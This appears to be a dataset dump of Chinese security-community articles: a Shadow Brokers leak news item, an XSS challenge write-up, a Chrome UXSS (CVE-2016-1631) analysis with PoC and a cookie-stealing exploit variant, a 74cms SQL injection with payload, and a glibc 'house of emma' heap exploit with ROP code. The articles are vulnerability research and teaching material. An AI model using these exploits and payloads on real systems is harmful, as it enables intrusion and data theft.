text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 'Shadow Brokers' 组织100万比特币（5.68亿美元）叫卖美国军方网络攻击工具（含视频）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**下** **面视频通过使用黑客组织公布的snmp漏洞利用工具，在无密码情况下以特权模式直接控制一台cisco asa 设备**
无法打开视频请点击如下软件：<http://v.youku.com/v_show/id_XMTY4NzgxNTM0MA==.html>
**事件回顾：**
黑客组织 **Shadow Brokers** （https://theshadowbrokers.tumblr.com/ 该网站已经于8月15日删除）
声称攻破了为NSA开发网络武器的美国黑客团队Equation Group（卡巴斯基命名的，曾被认为是Stuxnet &
Flame的作者），并公开拍卖据称为美国政府使用的黑客工具。为了证明自己的说法，Shadow
Brokers贴出似乎为针对路由器安全软件的攻击代码。该组织表示，如果得到 **100万比特币** （ **现价约合5.68亿美元**
），将公开这些工具（它的比特币地址目前只有0.12
BTC）。网络安全专家怀疑该组织是否获得了其所宣称的黑客工具，不过几位专家称，该组织所公布的代码看起来像是真的。该事件对五家路由器制造商造成影响，即三家美国公司──思科、瞻博网络(Juniper)、Fortinet和两家中国公司──
西网云信息技术有限公司、北京天融信网络安全技术有限公司。思科发言人称，该公司正在调查该事件，但迄今为止尚未发现任何新漏洞。 该条信息参考自
（www.solidot.org/story?sid=49336）
**
**
**事件初步分析：**
从公开的[https://github.com/theshadowbrokers/EQGRP-AUCTIO](https://github.com/theshadowbrokers/EQGRP-AUCTIO)，可以得到最初的github建立于2016年8月6日，公开文件的日期是2016年8月13日，但是该github与2016年8月15日删除。twitter上有关专家对该事件的分析认为，不能仅仅从泄露的这些文件就意味着NSA(美国国家安全局)被黑，以及他们的文件系统被入侵，一总猜测是由于错误的部署导致的工具外流。
**分析泄露的代码：**
通过泄露的github代码来看，针对Fortinet, TopSec, Cisco &
Juniper这些厂商的防火墙是受影响的，尽管这些程序都是python编写的，但是利用代码确实可用，通过文件夹的日期可以看出该文件dump于2013年。
**已确认放出的fortify和cisco的利用代码均可工作！**
EGBL = EGREGIOUS BLUNDER (Fortigate 防火墙 + HTTPD 利用 (被曝于 2006 年左右的 CVE )
ELBA = ELIGIBLE BACHELOR
ELBO = ELIGIBLE BOMBSHELL (中国天融信防火墙，版本 3.3.005.057.1 to 3.3.010.024.1)
ELCA = ELIGIBLE CANDIDATE
ELCO = ELIGIBLE CONTESTANT
EPBA = EPIC BANANA
ESPL = ESCALATE PLOWMAN
EXBA = EXTRA BACON (Cisco Adaptive Security Appliance v8.0 to v8.4)
BANANAGLEE = Juniper Netscreen Devices
BARGLEE
BLATSTING
BUZZDIRECTION
SP = ScreamPlow 2.3 (BG3001 BG3000 BG3100)
BD = BannanaDaiquiri 3.0.5.1 (BG3001 BG3000 BG3100)
更多的文件细节可以参考 EQGRP-Auction-Fileseqgrp-free-file.tarFirewallSCRIPTS 目录
Banana Glee文件夹
Banana
Glee文件夹比较有趣，因为他曾在schneier大牛的blog提及过（[https://www.schneier.com/blog/archives/2014/01/jetplow_nsa_exp.html](https://www.schneier.com/blog/archives/2014/01/jetplow_nsa_exp.html)）2014年美国国家安全局特定任务入侵行动小组（TAO）的JETPLOW，这也间接证明了该份工具确实来自于NSA
**推测幕后黑手：**
* * *
斯诺登推测是俄罗斯 | 社区文章 |
**前言**
前面发表了《一些BAT的XSS实例（一）
基础篇》、《一些BAT的XSS实例（二）进阶篇》、《一些BAT的XSS实例（三）中级篇》和《一些BAT的XSS实例（四）高级篇》，主要详细的讲了下1~5题以及7~10题的思路，错过的朋友可以点击上面链接，去查看相应的文章，下面我们来看下本系列的收官之作《一些BAT的XSS实例（五）最终篇》主要讲讲公认最难的第六题，以及对整个系列做一些总结。
**背 景**
之前发了篇《强防御下的XSS绕过思路》的文章，有很多人私信问我，能不能来一些XSS绕过实例分析，这里我选了些N年前的BAT的XSS实例来聊聊构造和绕过思路。当然这些实例，都是已经公开并且修补完毕的，我这里是只是以此为原型，并做了一定的修改，进行了一些XSS题目的设计而已。
先一次性把16道题发出来（弹框1就算成功，大部分的题都是一题多解，尽量给出多种思路，或者最短的解法。）
http://px1624.sinaapp.com/test/xsstest1/
（其他题目，将xsstest1依次改为xsstest2~xsstest16即可获取）
有兴趣的朋友，可以先不看文章，自己尝试的做一做题目，有答案的话可以发到我的邮箱[email protected]
并附上自己的ID，说不定下篇文章里面就会有你的绕过思路被收录了额。
**正 文**
下面我们来一起看看，这道大家公认最难的第六题。
首先还是有和第五题一样的跳转的点，看似和第五题差不多，参数由2个变成了1个，去掉了第五题路径中的问号字符。然后参数做了次URL解码操作。看着貌似和第5题没啥区别，但是试试你就会发现这个题设计的没有那么简单。
首先还是和第5题类似的思路，构造下路径，然后把php放进去就可以了。
这里没有问号，那就放个问号进去，放进去后发现不行，会直接跳转。断点调试可以看到，参数居然直接变成空字符串了。
http://px1624.sinaapp.com/test/xsstest6/?#uin=../test/xsstest6/user.php?callback=111
然后想的肯定是不允许问号，那就用%3f编码下，当你一番构造后去验证，会发现还是不行，百分号没了。
http://px1624.sinaapp.com/test/xsstest6/?#uin=../test/xsstest6/user.php%3fcallback=111
那就挺奇怪了，一番调试后，感觉明明没问题啊，为什么会跳转？真是BUG啊~
一番郁闷后，应该会去看源码。
看了源码后发现，原来是把问号给过滤掉了，为了防止url编码绕过，这里%号也给过滤掉了。后面的代码的作用就是，对参数进行了校验，如果不符合条件就会返回空，所以就会跳转到php页面了。
那么这个情况我们应该怎么样去构造绕过呢？我们还是先把这部分的代码仔细的看完，看看这块获取参数的整个代码的流程是怎么样的。这里我把代码放到vscode里，并给代码加上注释，方便大家理解。
前面的过滤%号以及正则还好理解，可能是为了防止恶意代码攻击，那么后面为啥会有这么奇葩的验证逻辑呢？带着这个疑问我们继续向下看。
构造个测试payload去断点调试看看
貌似还是看不明白后面这段代码有啥意义，那么我们用前面构造好的payload再断点调试，看下这部分的代码到底是怎么执行的。
http://px1624.sinaapp.com/test/xsstest6/?#uin=../test/xsstest6/user.php?callback=111
大概代码代码解析是这样，由于出现了问号，所以这段正则发挥作用了
导致了问号前面的内容全部被替换为空字符了，然后到最后就会出现GETname和parmtname不相等，所以value就会返回空字符串。
进而就会执行下面的这个判断，然后跳转到php页面。
捋清楚这个逻辑后，我们肯定第一时间就会想到只要不触发这个正则，那么就肯定是OK的。给这个正则的代码后面，断点调试edit一下代码，调试下试试。
发现的确主要是因为这个点导致的，只要不触发这个正则，就可以成功弹窗。
但是通过上面的分析发现，这里必须要用到问号，所以不触发这个正则是不太可能的。那么下面的思路就是要想办法，让构造的代码可以绕过这个正则的过滤限制。
正则的核心代码为 str.replace(/.*\?/,"") 乍一看，这个代码很简单，正则里的点 . 代表任意字符，*代表的是任意多的字符，\?代表的就是问号，那么这个代码的用意很明显，就是把str字符串问号前面的内容全部过滤成空。
第一想法就是用编码去绕过，由于这里有decodeURIComponent所以肯定会想到用url二次编码绕过。
但是前面也提到了，这里在正则之前会有代码直接将 % 百分号给过滤掉，所以不管你url编码几次，最终 % 百分号都会被干掉，所以这个方法肯定是不行的。
如果对正则不太熟悉的人，肯定会想，那我写2个问号进去，让正则匹配第一个就行了。
结果你会发现，不管你前面写多少个，这个正则都会从最后一个问号位置去匹配，其实如果对正则规则熟悉的话，肯定是不会这么去瞎测试的，因为只是在浪费时间而已。这里提一下这个点，只是为了说明基础知识的重要性。
如果这是你遇到的实例，可能你会觉得这里的防御没问题，所以也就放弃了，那么你将会错过一个XSS漏洞。这里你知道这是一道题，那么肯定是有解的，那么这个情况我们应该怎么样去构造绕过呢？我们先再一次好好的捋一捋思路。
首先，目的很明确，就是要写入
uin=../test/xsstest6/user.php?callback=alert()
但是又不能直接这么写，因为 ? 问号前面会被干掉，也不能编码，因为
%百分号也会被干掉。那么能不能利用这个过滤为空字符串的特性去绕过，就这个点而言肯定也是不行的，因为这里并没有服务器端的waf规则之类的过滤。
那么大胆的设想下，这个问号和百分号的过滤规则能不能进行绕过？
这个是直接对百分号进行全局过滤的，所以肯定没啥戏，下面看正则的那个。
如果能想到这一步的话，那么思路肯定是去翻翻手册吧，看看是不是自己哪里细节理解的有问题。
<https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions>
主要是下面这个 小数点 的解释，里面提到了可以匹配任何字符，但是除了 换行符 ！我们先在控制台构造下试试，用&分割下参数，然后放个\n换行进去，看行不行。
可以看到，我们这样的构造思路，由于换行符的加入，这个正则在执行的时候到\n位置就会匹配不到了，所以我们可以故意让正则处理掉前面部分，这样后面的内容就可以得到保留了。
难道换行符就是突破点，开心，赶紧去加个换行符进去试试。
http://px1624.sinaapp.com/test/xsstest6/?#11?\n&uin=../test/xsstest6/user.php?callback=alert()
然后你会发现，奇怪？怎么还是会被处理掉啊！明明在控制台测试是OK的，而且换行符也插进去了，这时候又开始郁闷了。其实这里并没有成功插入换行符，只是插入了一个
"\n"
的字符串进去而已。因为浏览器的地址栏，是不能这样直接把\n往里面写的，在地址栏中%0a是换行，但是%符号有过滤了，但是如果没过滤%符号，也不用这么麻烦了，直接用%3f就可以绕过了。呵呵，貌似又白高兴一场了。
直接这么写肯定不行，浏览器地址栏是不会解析这样的，所以我们去用控制台试试，将其放到js的环境里，在js环境里\n就是换行。
location="http://px1624.sinaapp.com/test/xsstest6/?#11?\n&uin=../test/xsstest6/user.php?callback=alert()"
断点调试后发现，还是会出现和上面一样的的结果，因为\n这种在js中会被解析，然后解析后location的时候，在浏览器地址栏又会被进行特殊处理。简单的来说，就是\n这种是不能在浏览器地址栏被解析的。
\n不行那么去试试\r，一波操作后，发现和\n没啥区别，也是一样被干掉的结果。
看来基础还是太弱了，难道换行符就只有\n 和 \r么？？看来还得继续查查资料
<https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes>
这里是明确的提到了 小数点 . 在正则的时候，不匹配行结束符这个点，还给出了4种行结束符。
其他地方也可以找到类似的资料。
<http://tools.jb51.net/table/javascript_escape>
所以我们就去试试这两个吧，\u2028和 \u2029
直接在地址栏肯定是不行的，原因前面提到过，会被作为字符串去解析。所以我们继续放到控制台去测试。
可以很直观的看到，当这个行结束符插入的话，这个正则中的点
.由于不能匹配这些行结束符，所以会直接在此位置截断掉，避免了问号前面的所有内容被这个正则干掉的问题了。
然后前面也提到了这样直接写是不行的，会把这些行结束符当成字符串去解析了，所以我们需要换个姿势，这里location配合控制台去测试下。
location="http://px1624.sinaapp.com/test/xsstest6/?#11?\u2028&uin=../test/xsstest6/user.php?callback=alert()"
可以看到，这次终于没有被干掉了。\u2028在浏览器中也被解析了，成功弹窗。
这时候距离诺曼底登陆只差一步了，因为我们要求的是弹1算成功，这时候只是弹了个空字符。那么很简单，我们去alert(1)下，
断点调试看着一切OK，但是你会发现并没有成功弹窗，看下控制台的报错信息。
点进去发现，出现了error
那么我们去看看这个user.php这里的限制，测试发现这里限制了长度，不能大于7个字符，然后alert(1)是8个字符，所以直接写是不行的。
对于这个限制，这里给出2个思路：
思路一：利用第五题的php去构造，这样就不用管长度限制的问题了。这个思路在做题的时候属于比较投机的方法，但是实战中却经常会出现类似问题。
思路二：利用name进行传参，然后利用jq的domxss的特性，进行构造。
在jq里，$ 这个函数在使用的时候，就会进行一次dom操作，如下。
所以可以利用iframe去这样构造。
所以这样就完成了这道题的解，当然这里用 \u2029也是可以的。
然后这里我是用的老版本的谷歌浏览器去测试的，当我切换到新版本谷歌浏览器后，发现并不行。
因为不知道从哪个版本开始，谷歌浏览器对location.hash的特殊字符也进行了URL编码，所以导致\u2028和\u2029这种换行符的解析失效，从而不能用。
所以这个解是有浏览器限制的，IE浏览器可以，还有部分没有对location.hash做特殊处理的浏览器都是可以的。
**总 结**
在这些BAT的XSS实例的解法思路中，我们用到了javascript中的运算符、模板字符串、嵌套模板、正则表达式、换行符、对象等知识。以及用到了断点调试、控制台分析、本地代码映射等方法。
可以看到，其实这里并没有什么奇淫的技巧，或者特殊的bypass姿势之类的东西，所用到的都是一些前端基础知识，配合一些基本调试方法而已。
所以我觉得，大家在绕过XSS的时候，主要还是思路要对，同时基础知识要过硬，这样才能在XSS漏洞这方面做到“人挡杀人，佛挡杀佛”的操作。
**尾 巴**
目前最新情况如下：
ID：gainover 解出了1~10题。
ID：Huuuuu 解出了1~5题，以及7~10题。
ID：香草 解出了1~4题，以及7~10题。
ID：p1g3、zeddy解出了1~5题，以及7~8题。
其他人若有别的解法思路，可以将自己的答案和ID发我qq邮箱：px1624.qq.com | 社区文章 |
# 【技术分享】一个价值7500刀的Chrome UXSS（CVE-2016-1631）分析与利用
|
##### 译文声明
本文是翻译文章，文章来源：avfisher
原文地址：<http://avfisher.win/archives/619>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 前言**
本文的写作来源于前几天一个小伙伴发过来一个漏洞链接让笔者帮忙解释一下漏洞原理，为了便于小伙伴的理解且留作笔记供日后查阅遂写此文。
本文讨论的漏洞已早已修复，但作为漏洞研究还是很有价值的。此漏洞由研究人员Marius
Mlynski发现并于2015年12月14日报告的一个Chrome不当地使用Flash消息循环而产生的UXSS漏洞（CVE-2016-1631）。
**0x01 分析**
**漏洞影响：**
Chrome 47.0.2526.80 (Stable)
Chrome 48.0.2564.41 (Beta)
Chrome 49.0.2587.3 (Dev)
Chromium 49.0.2591.0 + Pepper Flash
**原漏洞报告如下：**
From /content/renderer/pepper/ppb_flash_message_loop_impl.cc:
---------------- int32_t PPB_Flash_MessageLoop_Impl::InternalRun(
const RunFromHostProxyCallback& callback) {
(...)
// It is possible that the PPB_Flash_MessageLoop_Impl object has been
// destroyed when the nested message loop exits.
scoped_refptr<State> state_protector(state_);
{
base::MessageLoop::ScopedNestableTaskAllower allow(
base::MessageLoop::current());
base::MessageLoop::current()->Run();
}
(...)
}
----------------
报告者解释说：PPB_Flash_MessageLoop_Impl::InternalRun在运行一个嵌套消息循环之前没有初始化ScopedPageLoadDeferrer，从而导致能够在任意Javascrpit的执行点加载一个跨域文档造成了XSS。
接下来，我们来看看报告者提供的POC，主要有三个文件：
p.as： 一个ActionScript脚本文件
p.swf： 一个swf格式的Flash文件
poc.html： 具体的poc代码
p.as:
package {
import flash.display.*;
import flash.external.*;
import flash.printing.*;
public class p extends Sprite {
public function f():void {
new PrintJob().start();
}
public function p():void {
ExternalInterface.addCallback('f', f);
ExternalInterface.call('top.cp');
}
}
}
poc.html:
<script>
if (location.href.startsWith('file')) {
throw alert('This does not work from file:, please put it on an HTTP server.')
}
var c0 = 0;
function cp() {
++c0;
}
var fs = [];
for (var a = 0; a < 10; a++) {
var i = document.documentElement.appendChild(document.createElement('iframe'));
i.src = 'p.swf';
fs.push(i);
}
// This function will call into Flash, which will start a PrintJob,
// which will send a PPB_Flash_MessageLoop message to the renderer,
// which will spin a nested event loop on the main thread through
// PPB_Flash_MessageLoop_Impl::InternalRun, which doesn't set up a
// ScopedPageLoadDeferrer.
function message_loop() {
var pw = fs.pop().contentWindow;
pw.name = 'p' + fs.length;
// The magic happens here:
pw.document.querySelector('embed').f();
// Clean-up phase -- now that the print operation has served its
// purpose of spinning a nested event loop, kill the print dialog
// in case it's necessary to spin the loop again.
var a = document.createElement('a');
a.href = 'about:blank';
a.target = 'p' + fs.length;
a.click();
if (fs.length < 6) {
var then = Date.now();
while (Date.now() - then < 1000) {}
}
}
function f() {
if (c0 == 10) {
clearInterval(t);
// The initial location of this iframe is about:blank.
// It shouldn't change before the end of this function
// unless a nested event loop is spun without a
// ScopedPageLoadDeferrer on the stack.
// |alert|, |print|, etc. won't work, as they use a
// ScopedPageLoadDeferrer to defer loads during the loop.
var i = document.documentElement.appendChild(document.createElement('iframe'));
// Let's schedule an asynchronous load of a cross-origin document.
i.contentWindow.location.href = 'data:text/html,';
// Now let's try spinning the Flash message loop.
// If the load succeeds, |i.contentDocument| will throw.
try {
while (i.contentDocument) { message_loop(); }
} catch(e) {}
// Check the final outcome of the shenanigans.
try {
if (i.contentWindow.location.href === 'about:blank') {
alert('Nothing unexpected happened, good.');
}
} catch(e) {
alert('The frame is cross-origin already, this is bad.');
}
}
}
var t = setInterval(f, 100);
</script>
POC的原理就是在页面中创建多个源为Flash文件的iframe，然后调用as脚本开启打印工作任务，此时Chrome将通过PPB_Flash_MessageLoop_Impl::InternalRun方法在主线程中运行一个嵌套的MessageLoop消息循环来发送PPB_Flash_MessageLoop消息给渲染器，由于PPB_Flash_MessageLoop_Impl::InternalRun方法没有在栈上设置ScopedPageLoadDeferrer来推迟加载从而导致嵌套的MessageLoop在循环时能够回调脚本并加载任意资源造成了UXSS漏洞。
那么，如何来理解这个漏洞呢？
在Chrome中，我们知道，每个线程都有一个MessageLoop（消息循环）实例。报告中的PPB_Flash_MessageLoop_Impl实际上就是Chrome处理Flash事件的消息循环的实现。当浏览器接收到要打印Flash文件的消息时，会开启一个MessageLoop来处理打印事件，而此时如果在运行的嵌套的消息循环里没有终止脚本的回调以及资源加载的方法的话，就可以通过脚本回调代码绕过SOP加载任意资源，也就造成了XSS漏洞。
从下面是源代码作者做的修复可以更好的了解漏洞的产生原因。
不难发现，源码作者实际上仅做了以下更改：
1\. 添加了#include “third_party/WebKit/public/web/WebView.h”；
2\.
在执行base::MessageLoop::current()->Run();之前添加了blink::WebView::willEnterModalLoop();
3\.
在执行base::MessageLoop::current()->Run();之后添加了blink::WebView::didExitModalLoop();
找到third_party/WebKit/public/web/WebView.h文件，我们在当中找到了步骤2和3的方法如下：
third_party/WebKit/public/web/WebView.h：
----------------------- // Modal dialog support ------------------------------------------------ // Call these methods before and after running a nested, modal event loop
// to suspend script callbacks and resource loads.
BLINK_EXPORT static void willEnterModalLoop();
BLINK_EXPORT static void didExitModalLoop();
（...）
-----------------------
显然,
修复漏洞的方法就是在执行一个嵌套的模态事件循坏前后调用这2个方法来防止脚本的回调以及资源的加载，从而阻止了因为脚本回调而绕过SOP的XSS漏洞的产生。
**0x02 利用**
首先，下载[exploit](https://bugs.chromium.org/p/chromium/issues/attachment?aid=190008)并部署到你的web服务器上。
解压后，文档目录如下：
├── exploit
│ ├── exploit.html
│ ├── f.html
│ ├── p.as
│ └── p.swf
打开exploit.html修改如下：
<script>
var c0 = 0;
var c1 = 0;
var fs = [];
function cp() {
++c0;
}
for (var a = 0; a < 10; a++) {
var i = document.documentElement.appendChild(document.createElement('iframe'));
i.src = 'p.swf';
fs.push(i);
}
function ml() {
var pw = fs.pop().contentWindow;
pw.name = 'p' + fs.length;
pw.document.querySelector('embed').f();
var a = document.createElement('a');
a.href = 'about:blank';
a.target = 'p' + fs.length;
a.click();
if (fs.length < 6) {
var then = Date.now();
while (Date.now() - then < 1000) {}
}
}
function f() {
if (++c1 == 2) {
var x1 = x.contentWindow[0].frameElement.nextSibling;
x1.src = 'http://avfisher.win/'; //此处可修改成目标浏览器上打开的任意的站点
try {
while (x1.contentDocument) { ml(); }
} catch(e) {
x1.src = 'javascript:if(location!="about:blank")alert(document.cookie)'; //此处为在目标站点上想要执行的js代码
}
}
}
function c() {
if (c0 == 10) {
clearInterval(t);
x = document.documentElement.appendChild(document.createElement('iframe'));
x.src = 'f.html';
}
}
var t = setInterval(c, 100);
</script>
利用效果如下：
**0x03 参考**
<https://bugs.chromium.org/p/chromium/issues/detail?id=569496>
[https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8](https://codereview.chromium.org/1559113002/diff/40001/content/renderer/pepper/ppb_flash_message_loop_impl.cc?context=10&column_width=80&tab_spaces=8)
<https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/third_party/WebKit/public/web/WebView.h>
<https://chromium.googlesource.com/chromium/src/+/dd77c2a41c72589d929db0592565125ca629fb2c/base/message_loop/message_loop.h#581>
<http://blog.csdn.net/zero_lee/article/details/7905121>
<http://www.360doc.com/content/13/0422/16/168576_280145531.shtml> | 社区文章 |
### 0x00 前言
厂商：74cms
下载地址：<http://www.74cms.com/download/index.html>
关于版本：
新版的74cms采用了tp3.2.3重构了，所以可知底层是tp，74cms新版升级是后台升级的，所以先将将升级方法。
注：此漏洞不用升级至最新版本也可使用。
### 0x01 74cms升级到最新版
1， 先去官网下载 骑士人才系统基础版(安装包)
2， 将下载好的包进行安装
3， 进入后台点击查看如果不是最新版的话，请点击升级！
5， 如果是本地环境的话，会提示 域名不合法升级失败，这个问题很好解决
6， 搜索文件74cms\upload\Application\Admin\Controller\ApplyController.class.php
7， 查找所有$_SERVER['HTTP_HOST'] 改为 <http://baidu.com> 即可
### 0x02 数据填充不然没得测试
注：这个漏洞需要在有职位数据的情况下，才能利用。正式环境中，因为都是有数据的所以直接注入即可。不过因为我们是测试环境所以需要我们自己添加一些数据来保证网站的正常运行
### 0x02.1注册商家账号方便测试
首先先注册一个商家用户然后发布一条消息，注册商家直接去后台注册最简单了
注册完成以后将此商家用户登录前台
登录完毕以后跳转到：[http://74cms.test/index.php?m=&c=company&a=com_info](http://74cms.test/index.php?m=&c=company&a=com_info)
设置商家信息
然后跳转到：[http://74cms.test/index.php?m=&c=Company&a=jobs_add](http://74cms.test/index.php?m=&c=Company&a=jobs_add)
随便发布一条工作消息即可
### 0x02.2注册普通账号方便测试
一样的前台注册需要短信，我穷，付不起短信费
注册完成以后登录前台即可
注：一定要登录，因为数据量太少，不登录，过不去验证
### 0x03 sql漏洞演示
然后输入地址：
[http://74cms.test/index.php?m=&c=jobs&a=jobs_list&lat=23.176465&range=20&lng=113.35038%27](http://74cms.test/index.php?m=&c=jobs&a=jobs_list&lat=23.176465&range=20&lng=113.35038%27)
注：x，y 不超过 1即可
详情页new BMap.Point 搜索出来的值就是 x，y 值
可能上面的内容有人会觉得奇怪，就是这个url实战中你是怎么获得的？其实你可以这样。
这样的话只要点击完以后有数据 你在 lat lng 字段都可以正常的进行注入
Payload:
[http://74cms.test/index.php?m=&c=jobs&a=jobs_list&lat=23.176465&range=20&lng=113.35038*](http://74cms.test/index.php?m=&c=jobs&a=jobs_list&lat=23.176465&range=20&lng=113.35038*)
PI() / 180 - map_x _PI() / 180) / 2),2)))_ 1000) AS map_range FROM
qs_jobs_search j WHERE (extractvalue (1,concat(0x7e,(SELECT USER()), 0x7e)))
-- a
剩下的自己注 :)
### 0x04 漏洞原理
老样子一步步分析吧。
先从地址开始分析
地址：[http://74cms.test/index.php?m=&c=jobs&a=jobs_list](http://74cms.test/index.php?m=&c=jobs&a=jobs_list)
典型的mvc结构
m 层可以看到为空，我们可以打开目录
74cms\upload\Application\Common\Conf\config.php 查看DEFAULT_MODULE 参数
因此可以确定
M = home
C = jobs
A = jobs_list
翻译一下的意思就是 Home 目录 下面的jobs 文件里面的jobs_list 方法
跟进去
跟进来以后，发现我们的lng 参数并没有在jobs_list 方法，但是在外部的时候的却是这个类。
这是因为74cms 使用了 thinkphp 的 tag 也就是标签库驱动 。
所以我们在这里并没有看到相关的代码快，因为他是直接嵌了V层中执行也就是我们常说的视图层。
想了解这一块的
上官网下载thinkphp3.2手册 搜索tag
即可获得详细信息
跟进视图层进行查看
找到了视图文件：
74cms\upload\Application\Home\View\default\Jobs\jobs_list.html
根据图中的条件可得知具体目录名为
74cms\upload\Application\Common\qscmstag\jobs_listTag.class.php
说明我们的猜想是没有错的。
为了不浪费大家的时间，我就尽量选重点讲，避免浪费大家时间!
这里我们需要了解一下。
首先是我们可外部控制的值
所以最终我们符合条件的内容都会赋值为$this->params
知道这个接口，我们继续注入点，因为前面的东西有太多和我们的这个注入无关的东西了所以我们忽略掉
我上图中还圈出来的第二个圈圈，可以看到 $this->params[lat] 与 $this->params[lng]
赋值并且没有过滤给了$this->field 而大部分的php框架在 field
可控制的情况下大部分都是有注入问题的，所以这里我基本可以通过经验确定，只要带入了进行查询那就是一个注入漏洞。
这里的构造方法知道这些即可，其他的都不是很重要
这里我们打印一下，最终处理的内容
好了知道这些前置条件以后我们继续。
在执行完这个构造函数以后，还会自动的执行run() 方法
### 0x05 修复方法
$this->field = "id,ROUND(6378.138*2*ASIN(SQRT(POW(SIN((".floatval($this->params['lat'])."*PI()/180-map_y*PI()/180)/2),2)+COS(".floatval($this->params['lat'])."*PI()/180)*COS(map_y*PI()/180)*POW(SIN((".floatval($this->params['lng'])."*PI()/180-map_x*PI()/180)/2),2)))*1000) AS map_range";
强转为浮点型，防止注入 | 社区文章 |
# house of emma
#### 适用范围：
> * glibc 2.23 -- 至今
>
#### 利用条件：
> * 可以进行两次任意地址写堆地址（通常是largebin attack）
>
> * 可以触发 IO 流操作
>
>
#### 攻击方法：
> * 劫持stderr指针为我们构造的fake_IO_FILE
> * __pointer_chk_guard 处写入已知内容，来绕过函数指针的调用对保护
> * 触发io流
>
#### 攻击限制：
> * 若stderr 的指针存放于 bss
> 段上，无法被我们修改，那么只能通过exit来触发FSOP，但由于我们的构造可能会导致异或内容被篡改后，exit无法正常执行，使得程序无法执行到我们构造的
> IO流
> * 需要攻击位于TLS结构体的_pointer_chk_guard，并且远程可能需要爆破TLS偏移
>
#### 源码分析：
`vtable`虚表中有`_IO_cookie_jumps`结构体，在`_IO_cookie_jumps`中包含着`_IO_cookie_read`、`_IO_cookie_write`等一系列函数
这些函数存在着任意函数指针的调用，但是这些函数指针的调用被`pointer_guard` 进行了加密
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif
if (read_cb == NULL)
return -1;
return read_cb (cfile->__cookie, buf, size);
}
static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif
if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}
ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;
return n;
}
static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif
return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}
static int
_IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif
if (close_cb == NULL)
return 0;
return close_cb (cfile->__cookie);
}
#### 例题2022挑战杯house of cat
保护全开，开了沙箱
##### 程序分析：
限制申请大小 0x418-0x46f，限制修改次数两次并只能修改0x30字节
存在UAF漏洞，限制泄露数据最大大小为0x30字节
题目除了前面的加密，本身算是一道标准的菜单题，不过我们主要是要分析这道题里house of cat手法如何利用，前面需要逆向的部分不再赘述
##### **例题解法：**
> * **首先是泄露libc基址和heap地址**
>
> * **largebin attack攻击stderr指针和__pointer_chk_guard**
>
> * **在 stderr 指针处写一个可控地址，在__pointer_chk_guard 处写一个已知地址**
>
> * **再利用UAF通过unsorted bin 会与 top chunk 合并的机制来修改top_chunk大小触发IO调用**
>
> * **进入 house of emma 的调用链，同时利用一个能够转移 rdi 到 rdx 的 gadget 为 setcontext
> 提供内容**
>
> * **利用 setcontext+61 来执行 orw，从而获取flag**
>
>
###### libc和heap地址的泄露
add(0,0x428,b'aaa')
add(1,0x428,b'./flag\x00')
delete(0)
add(15,0x448,b'./flag\x00')
add(14,0x448,b'./flag\x00')
show(0)
libc_base=l64()-0x21a0d0
li('libc_base = '+hex(libc_base))
heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))#-0x290
li('heap_addr = '+hex(heap_base))
###### fake_IO_FILE和orw的模板
fake_file:
gadget = libc_base + 0x00000000001675b0
fake_file = b'0' * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b'\x00')
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget^(heap_base+0x1960))>>(64-0x11))|((gadget^(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)
orw:
chunk13=heap_base+0x10d0+0x460 #chunk orw
orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b'\x00' * 0x10
orw += p64(setcontext+61)
orw += b'\x00' * 0x78
orw += p64(chunk13+0xb0) + p64(ret)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
#close(0)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
#open(flag_path,0)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
#read(0,flag_path,0x41)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
###### **LargeBin Attack攻击stderr和pointer**
###### stderr攻击：将stderr覆盖为chunk3（fake_file）的地址
add(2,0x428,b'bbb')
add(3,0x418,fake_file)
delete(2)
add(13,0x438,orw)
add(12,0x438,b'mmm')
delete(3)
> 290-chunk2
>
> 6c0-chunk1
>
> af0-chunk15
>
> f40-chunk14
>
> 390-chunk3
>
